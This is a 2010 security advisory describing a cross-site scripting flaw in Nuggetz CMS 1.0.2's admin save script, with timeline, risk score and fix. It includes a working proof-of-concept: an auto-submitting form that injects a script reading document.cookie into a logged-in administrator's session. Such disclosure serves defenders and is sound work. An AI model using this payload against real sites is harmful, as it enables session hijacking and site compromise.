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Cross-site Scripting (XSS) Vulnerability in Nuggetz CMS

Advisory ID:HTB22400
Product:Nuggetz CMS
Vendor:eantics Ltd
Vulnerable Versions:1.0.2 and probably prior
Tested Version:1.0.2
Advisory Publication:May 25, 2010 [without technical details]
Vendor Notification:May 25, 2010
Public Disclosure:June 8, 2010
Latest Update:May 26, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Nuggetz CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in Nuggetz CMS
The vulnerability exists due to input sanitation error in the "pagevalue" parameter in nuggetz/admin/ajaxsave.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to the administrative section.
Exploitation example:
<form action="http://example.com/nuggetz/admin/ajaxsave.php?nugget=nuggetnamefromc lass&dummy=1" method="post" name="main" >
<input name="pagevalue" type="hidden" value='page content"><script>alert(document.cookie)</script>' />
</form>
<script>
document.main.submit();
</script>

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Solution:
Upgrade to version 1.0.3.


References:
[1] High-Tech Bridge Advisory HTB22400 - https://www.immuniweb.com/advisory/HTB22400 - Cross-site Scripting (XSS) Vulnerability in Nuggetz CMS
[2] Nuggetz CMS - www.nuggetz.co.uk - Nuggetz is a simple content management system that requires no database.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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